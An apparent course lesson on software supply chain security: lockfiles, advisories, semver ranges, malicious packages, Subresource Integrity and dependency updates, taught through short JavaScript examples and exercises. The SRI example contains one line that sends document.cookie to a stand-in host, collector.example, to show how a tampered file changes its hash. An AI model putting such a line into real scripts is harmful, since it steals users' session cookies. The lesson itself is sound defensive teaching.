WEB-230 · Lesson 8 of 12 · 22 min

Dependency and supply chain security

▶ Video coming soon A video version of this lesson is on the way.

On Thursday, February 8, Theo opens the portal's lockfile on the big screen and scrolls. And scrolls. The volunteer portal declares 31 packages in its package.json, but the lockfile lists 1,104, because each of those packages depends on others, which depend on others again. The partner service has 212. Theo's PHP application, through Composer, has 47. "Every one of these is code we run and did not write," he says. "Most of it is excellent. But we are trusting the people who wrote it, the registry that serves it, and every step between their keyboard and our server."

That chain of trust is the software supply chain, and its failures now rank third in the OWASP Top 10 2025, widened from the 2021 category about vulnerable components. The category covers several different risks: a dependency with a known vulnerability, a dependency that is abandoned and will never be fixed, a malicious package published under a name similar to a real one, a real package whose maintainer's account is taken over, and a compromised build or update channel. JS-260 dealt with the build and release end of the chain, with pinned actions, provenance and short-lived credentials. Today is about the dependencies themselves.

A dependency tree. The portal at the top depends directly on react, react-router, a date library and a markdown library. Below them, smaller boxes show their own dependencies, three levels deep, with one box near the bottom highlighted in red as having a known vulnerability, and the path from the portal to it highlighted.
A vulnerability three levels down is still in the portal

Knowing what you depend on

The first defence is an accurate list. The lockfile, package-lock.json for npm and composer.lock for Composer, records the exact version of every package, direct and transitive (a dependency of a dependency), and a hash of its contents. Installing with npm ci or composer install from the lockfile gives every developer, CI run and server exactly the same code, and the hashes mean a tampered package fails to install. Lockfiles are committed, reviewed when they change, and never regenerated casually. A software bill of materials, or SBOM, is the same list in a standard format such as CycloneDX or SPDX; JS-260 began producing one for each release, and it is what lets the team answer "are we affected?" within minutes when a new advisory is published.

JavaScript Example · Tracing how a vulnerable package gets in
// Find every path from the app to a vulnerable package in a dependency graph.
const deps = {
  portal: ['react', 'react-router', 'date-tools', 'markdown-lite'],
  'react-router': ['path-match'],
  'markdown-lite': ['entities-lite', 'link-parse'],
  'link-parse': ['entities-lite'],
  'date-tools': [],
  react: [], 'path-match': [], 'entities-lite': [],
};

function pathsTo(target, node = 'portal', path = []) {
  const here = [...path, node];
  if (node === target) return [here];
  return (deps[node] ?? []).flatMap((child) => pathsTo(target, child, here));
}

for (const p of pathsTo('entities-lite')) console.log(p.join(' > '));
Output
portal > markdown-lite > entities-lite
portal > markdown-lite > link-parse > entities-lite

What this code does

The graph maps each package to its direct dependencies, and a recursive function walks every route from the portal down. Each time it reaches the target it returns the path that led there. The vulnerable package is reached by two routes, so updating only one of the packages that use it would not be enough.

Known vulnerabilities and advisories

When a vulnerability is found in a public package, it is published as an advisory, usually with a CVE identifier and the range of affected versions, in databases such as the GitHub Advisory Database and OSV. npm audit and composer audit compare a lockfile against these databases; GitHub's Dependabot does the same continuously and opens pull requests with updates. An advisory's severity is often given as a CVSS score from 0 to 10, but the score describes the worst case, so the team still has to ask whether the vulnerable function is actually used and reachable in their application.

Affected ranges are written in semantic versioning notation, the same notation package.json uses. Understanding it matters, because it decides what an update will pick up. A caret range such as ^2.4.1 allows any 2.x version from 2.4.1 up, a tilde range such as ~1.9.0 allows only 1.9.x, and an exact version allows only itself. Mira checks two advisories against the portal's installed versions with the semver package, the same library npm uses.

JavaScript Example · ranges.mjs
// ranges.mjs: does an installed version fall inside an advisory's affected range?
import semver from 'semver';

const advisories = [
  { pkg: 'markdown-lite', affected: '>=2.0.0 <2.4.3', fixed: '2.4.3' },
  { pkg: 'date-tools', affected: '<1.9.1', fixed: '1.9.1' },
];
const installed = { 'markdown-lite': '2.4.1', 'date-tools': '1.10.0' };

for (const a of advisories) {
  const v = installed[a.pkg];
  const hit = semver.satisfies(v, a.affected);
  console.log(`${a.pkg}@${v} in "${a.affected}": ${hit ? 'AFFECTED, upgrade to ' + a.fixed : 'not affected'}`);
}
console.log('does ^2.4.1 allow the fix?', semver.satisfies('2.4.3', '^2.4.1'));
console.log('does ~1.9.0 allow 1.10.0?', semver.satisfies('1.10.0', '~1.9.0'));

What this code does

The semver library interprets ranges exactly as npm does, so the answer matches what npm audit would report. The markdown library's installed version falls inside the affected range and needs the fixed release, while the date library's version is newer than the affected range. The last two lines show which updates a caret or tilde range in package.json would allow.

Running it
$ node ranges.mjs
markdown-lite@2.4.1 in ">=2.0.0 <2.4.3": AFFECTED, upgrade to 2.4.3
date-tools@1.10.0 in "<1.9.1": not affected
does ^2.4.1 allow the fix? true
does ~1.9.0 allow 1.10.0? false
JavaScript Example · Comparing versions by their parts
// A small range check: does a version satisfy '>=A <B'?
const parse = (v) => v.split('.').map(Number);
function compare(a, b) {
  const [x, y] = [parse(a), parse(b)];
  for (let i = 0; i < 3; i++) if (x[i] !== y[i]) return x[i] < y[i] ? -1 : 1;
  return 0;
}
function inRange(version, range) {
  return range.split(' ').every((part) => {
    const [, op, v] = part.match(/^(>=|<=|>|<)(.+)$/);
    const c = compare(version, v);
    return { '>=': c >= 0, '<=': c <= 0, '>': c > 0, '<': c < 0 }[op];
  });
}

for (const v of ['1.9.9', '2.0.0', '2.4.2', '2.4.3', '2.10.0']) {
  console.log(v.padEnd(7), inRange(v, '>=2.0.0 <2.4.3') ? 'affected' : 'ok');
}
Output
1.9.9   ok
2.0.0   affected
2.4.2   affected
2.4.3   ok
2.10.0  ok

What this code does

Versions are compared number by number, so 2.10.0 is correctly greater than 2.4.3 even though it would sort lower as text. Each comparator in the range must hold for the version to be inside it. The check reproduces the semver library's answer for these simple ranges, which shows there is no magic in an audit tool's core comparison.

Not every advisory needs a midnight fix. Theo's rule for the Food Hub, written into the team's process, depends on severity and exposure. Critical or high advisories in code that runs on a server and handles requests are fixed within seven days. High advisories in build-only tools, such as a bundler plugin, and moderate advisories are fixed within thirty days or at the next scheduled update. Low ones wait for the monthly update. Any decision not to fix is written down with its reason and a review date.

Malicious and abandoned packages

A vulnerability is an accident. Some packages are malicious on purpose. Typosquatting publishes a package with a name one letter away from a popular one, hoping for a typing mistake. Dependency confusion publishes a public package with the same name as a company's private one, hoping the installer prefers the public registry. Account takeover steals a real maintainer's credentials and publishes a poisoned update, which has happened to several widely used npm packages; npm's move to granular, short-lived tokens and trusted publishing in late 2025 was a response to such attacks. And install scripts, which npm runs automatically after installing a package, are a common way for malicious code to run on developers' laptops and CI machines.

Supply chain risks and their defences
RiskDefence
TyposquattingCopy package names from the official documentation; review new dependencies in pull requests
Dependency confusionUse scoped names for private packages and configure the registry for that scope
Compromised updateLockfiles with hashes, delayed adoption of brand-new releases, provenance and signature checks (npm audit signatures)
Malicious install scriptsInstall in CI with --ignore-scripts where possible; allow scripts only for packages that need them
Abandoned packageCheck maintenance before adding; prefer fewer, well-maintained dependencies; replace when a package goes quiet

The cheapest defence of all is fewer dependencies. Before adding a package, the team now asks three questions: could a few lines of our own code do this; is the package maintained, with recent releases and more than one maintainer; and how many dependencies does it bring with it? A date-formatting library with forty transitive dependencies is a poor trade when the Intl.DateTimeFormat API built into every browser does the job.

Scripts from other servers: Subresource Integrity

The public site loads one script from another company's server: a calendar widget for the cooking classes. If that server were compromised, or the file changed, every visitor would run whatever it served. Subresource Integrity (SRI) closes that gap. The page's script tag includes an integrity attribute holding a hash of the exact file the team reviewed, and the browser refuses to run the file if its hash does not match.

JavaScript Example · Computing an integrity hash
// Compute a Subresource Integrity value (sha384, base64) for a file's contents.
const file = "/* calendar-widget 3.2.1 */\nexport function render(el, events) { el.textContent = events.length + ' events'; }\n";

async function sri(text) {
  const digest = await crypto.subtle.digest('SHA-384', new TextEncoder().encode(text));
  return 'sha384-' + btoa(String.fromCharCode(...new Uint8Array(digest)));
}

const good = await sri(file);
const changed = await sri(file.replace("' events'", "' events'; fetch('https://collector.example/?c=' + document.cookie)"));
console.log(good);
console.log('after the file changes, hashes match?', good === changed);
Output
sha384-/+hwka/9Z7lyS7H6Zxlodb6prBme3abkD5hN3xenO13E1VF+mDKsnEfl2H85yKxb
after the file changes, hashes match? false

What this code does

The integrity value is the SHA-384 digest of the file's exact bytes, encoded as base64 and prefixed with the algorithm name. Any change to the file, even one extra statement, produces a completely different hash. The browser recomputes the hash when it downloads the file and refuses to run it if the two differ.

Mira checks her value against the standard command-line method, using OpenSSL on the same file, and the two agree.

The same hash with OpenSSL
$ openssl dgst -sha384 -binary calendar-widget.js | openssl base64 -A; echo
/+hwka/9Z7lyS7H6Zxlodb6prBme3abkD5hN3xenO13E1VF+mDKsnEfl2H85yKxb

What this code does

OpenSSL computes the SHA-384 digest of the file's bytes and encodes it as base64, which is exactly what the browser does. The result matches the value computed with crypto.subtle above, prefixed with sha384- in the integrity attribute. Teams usually generate these values in the build so they can never be forgotten.

A script tag with Subresource Integrity
<script type="module"
        src="https://widgets.calendarco.example/v3.2.1/calendar-widget.js"
        integrity="sha384-..."
        crossorigin="anonymous"></script>

SRI only works for files that never change at a fixed address, which is why the tag points to a versioned path rather than a latest one. The crossorigin attribute is required, because the browser can only check the hash of a cross-origin file that is fetched with CORS. Where a provider changes its file without warning, the safer choice is to host a reviewed copy on the Food Hub's own server and update it deliberately.

Keeping dependencies current

Updating is a security control, and it is easiest when done often. A project that updates every month makes small, easy changes; a project left for two years faces a wall of breaking changes when a critical fix finally forces an update. The Food Hub's repositories now use Dependabot to open grouped update pull requests every week, with CI running the full test suite on each. Patch and minor updates that pass are merged by the developer on duty; major updates get a ticket and a review. A cooldown of a few days before adopting any brand-new release gives the community time to spot a poisoned one, a practice several package managers now support directly.

JavaScript Example · Tracking fix deadlines
// Which advisories breach the team's fix-by deadline?
const DAYS = { 'critical-runtime': 7, 'high-runtime': 7, 'high-build': 30, moderate: 30, low: 30 };
const day = (s) => Date.UTC(...s.split('-').map((n, i) => (i === 1 ? n - 1 : +n))) / 86400000;

const open = [
  { pkg: 'markdown-lite', cls: 'high-runtime', published: '2029-01-30' },
  { pkg: 'css-minify-plugin', cls: 'high-build', published: '2029-01-15' },
  { pkg: 'path-match', cls: 'moderate', published: '2028-12-20' },
];
const today = day('2029-02-08');

for (const a of open) {
  const due = day(a.published) + DAYS[a.cls];
  const left = due - today;
  console.log(a.pkg.padEnd(18), a.cls.padEnd(13), left < 0 ? `OVERDUE by ${-left} days` : `${left} days left`);
}
Output
markdown-lite      high-runtime  OVERDUE by 2 days
css-minify-plugin  high-build    6 days left
path-match         moderate      OVERDUE by 20 days

What this code does

Dates are converted to whole days since 1970 so subtracting them gives a count of days. Each advisory's deadline is its publication date plus the allowance for its class. The markdown library and the path library are both overdue, while the build plugin still has six days, which tells the team where to start that afternoon.

Worked problem

How much smaller is the attack surface?

Mira finds that the portal's date library brings 38 transitive packages, the markdown library 21, and a small utility package 6, out of the lockfile's 1,104 entries. The built-in Intl API can replace the date library, and the utility package is three functions the team can write. If both are removed and none of their transitive packages is used by anything else, how many lockfile entries remain, and by what share does the count fall?

Show solution
  1. Removed: the date library and its 38 transitive packages = 39.
  2. Removed: the utility package and its 6 transitive packages = 7.
  3. Total removed: 39 + 7 = 46; remaining: 1,104 − 46 = 1,058.
  4. Share removed: 46 ÷ 1,104 ≈ 0.0417, or about 4 in 100.

Answer: The lockfile falls to 1,058 entries, about 4 in 100 fewer, and two maintainer accounts the Food Hub had to trust disappear from the chain.

Common mistakes

  • MistakeInstalling with npm install on servers and in CI.

    InsteadUse npm ci or composer install from a committed lockfile so the exact, hashed versions are installed.

  • MistakeFixing every advisory immediately, or none of them.

    InsteadTriage by severity and exposure, with written deadlines and recorded exceptions.

  • MistakeAdding a package for a few lines of code.

    InsteadCheck maintenance and transitive dependencies first, and prefer built-in APIs.

  • MistakeLoading third-party scripts without integrity checks.

    InsteadUse SRI with a versioned address and crossorigin, or host a reviewed copy.

  • MistakeLetting dependencies drift for years.

    InsteadUpdate in small batches every week or month with CI, and use a short cooldown for brand-new releases.

Summary and key terms

  • Software supply chain failures, third in the OWASP Top 10 2025, include vulnerable, abandoned and malicious dependencies and compromised build or update channels.
  • Lockfiles record the exact, hashed version of every direct and transitive dependency, and installing from them with npm ci or composer install keeps environments identical; SBOMs list the same in a standard format.
  • Advisories give affected version ranges in semantic versioning notation, which audit tools and Dependabot compare with the lockfile; fixes are triaged by severity and exposure with deadlines.
  • Typosquatting, dependency confusion, account takeover and install scripts are defended with careful review, scoped names, signatures and provenance, and restricted scripts.
  • Fewer dependencies is the cheapest defence.
  • Subresource Integrity makes browsers refuse third-party files that have changed.
Software supply chain
Everything between other people's code and your running application: dependencies, registries, build tools and update channels.
Transitive dependency
A package that is installed because another dependency needs it.
Lockfile
A file recording the exact version and hash of every installed package, such as package-lock.json or composer.lock.
Advisory
A published notice of a vulnerability in a package, with the affected and fixed versions.
Semantic versioning
A version scheme of major.minor.patch, with ranges such as ^2.4.1 used to choose updates.
Typosquatting
Publishing a malicious package with a name close to a popular one.
Subresource Integrity (SRI)
An integrity attribute holding a file's hash, so the browser refuses a changed file.

Practice problems

Work each problem on paper first, then reveal the answer to check.

  1. Why does a vulnerable package matter if the app does not list it in package.json?

    Show answer

    It may be a transitive dependency, installed and run because a direct dependency needs it.

  2. What does a caret range such as ^2.4.1 allow?

    Show answer

    Any 2.x version from 2.4.1 upward, but not 3.0.0.

  3. Why must an SRI-protected script use a versioned address?

    Show answer

    The hash only matches one exact file, so the file at that address must never change.

  4. What is dependency confusion?

    Show answer

    Publishing a public package with the same name as a private one so installers fetch the public one.

Try it yourself

Is this version affected?

Complete affected(version, from, to). Versions are major.minor.patch strings. Return true if version is greater than or equal to from and strictly less than to.

Compare the numbers, not the text: 2.10.0 is greater than 2.9.0.

function affected(version, from, to) {
  return version >= from && version < to;
}

console.log(affected('2.4.1', '2.0.0', '2.4.3'));
console.log(affected('2.10.0', '2.0.0', '2.4.3'));
console.log(affected('1.9.9', '2.0.0', '2.4.3'));
console.log(affected('2.4.3', '2.0.0', '2.4.3'));

Try it yourself

Integrity attribute

Complete the async function integrity(text) so that it returns sha384- followed by the base64 SHA-384 digest of text, using crypto.subtle.digest and TextEncoder.

The program checks two strings.

async function integrity(text) {
  return 'sha384-';
}

console.log(await integrity('alert(1)'));
console.log((await integrity('a')) === (await integrity('a ')));

Lesson quiz · 5 questions

Score 60% or more to complete this lesson.

Take the quiz